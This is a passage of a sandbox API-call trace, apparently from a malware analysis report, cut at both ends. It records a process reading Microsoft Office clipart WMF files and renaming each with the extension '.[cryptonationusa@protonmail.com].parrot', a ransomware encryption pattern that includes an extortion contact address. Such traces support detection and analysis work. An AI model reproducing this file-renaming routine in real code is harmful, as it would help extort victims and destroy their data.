lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.201] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.201] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4fdc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4fdc, lpOverlapped=0x0) returned 1 [0133.202] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.202] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x50f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.202] CloseHandle (hObject=0x288) returned 1 [0133.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.205] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.205] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.206] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.211] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.211] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x24b8, lpOverlapped=0x0) returned 1 [0133.212] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.212] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.212] CloseHandle (hObject=0x288) returned 1 [0133.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.215] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x197c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.215] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.215] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.218] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.218] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1864, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1864, lpOverlapped=0x0) returned 1 [0133.226] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.226] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x197c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.226] CloseHandle (hObject=0x288) returned 1 [0133.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.230] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a40, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.230] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.230] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.272] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.272] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4928, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4928, lpOverlapped=0x0) returned 1 [0133.273] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.273] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.273] CloseHandle (hObject=0x288) returned 1 [0133.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.277] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x153c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.277] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.279] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.279] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1424, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1424, lpOverlapped=0x0) returned 1 [0133.279] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.280] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x153c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.280] CloseHandle (hObject=0x288) returned 1 [0133.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.283] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1678, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.283] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.283] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.295] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.295] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1560, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1560, lpOverlapped=0x0) returned 1 [0133.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.302] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1678, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.302] CloseHandle (hObject=0x288) returned 1 [0133.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.308] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x114c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.308] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.308] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.320] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1034, lpOverlapped=0x0) returned 1 [0133.327] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.327] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x114c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.327] CloseHandle (hObject=0x288) returned 1 [0133.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.331] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc78, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.332] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.335] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb60, lpOverlapped=0x0) returned 1 [0133.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.335] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.335] CloseHandle (hObject=0x288) returned 1 [0133.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.339] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.339] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.339] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.360] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.360] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c44, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c44, lpOverlapped=0x0) returned 1 [0133.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.364] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.364] CloseHandle (hObject=0x288) returned 1 [0133.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.369] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.369] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.369] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.371] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.371] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x43b4, lpOverlapped=0x0) returned 1 [0133.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.372] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.372] CloseHandle (hObject=0x288) returned 1 [0133.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.375] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1df0, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.376] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.376] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.381] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.381] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0133.385] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.385] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1df0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.385] CloseHandle (hObject=0x288) returned 1 [0133.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.388] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5544, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.388] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.388] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.400] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x542c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x542c, lpOverlapped=0x0) returned 1 [0133.475] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.475] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5544, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.475] CloseHandle (hObject=0x288) returned 1 [0133.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.480] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2300, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.480] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.481] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.482] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21e8, lpOverlapped=0x0) returned 1 [0133.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.484] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2300, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.484] CloseHandle (hObject=0x288) returned 1 [0133.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.487] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2994, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.487] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.487] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.505] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x287c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x287c, lpOverlapped=0x0) returned 1 [0133.506] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.506] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2994, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.506] CloseHandle (hObject=0x288) returned 1 [0133.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.509] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3708, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.509] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.529] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.529] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x35f0, lpOverlapped=0x0) returned 1 [0133.539] SetFilePointerEx 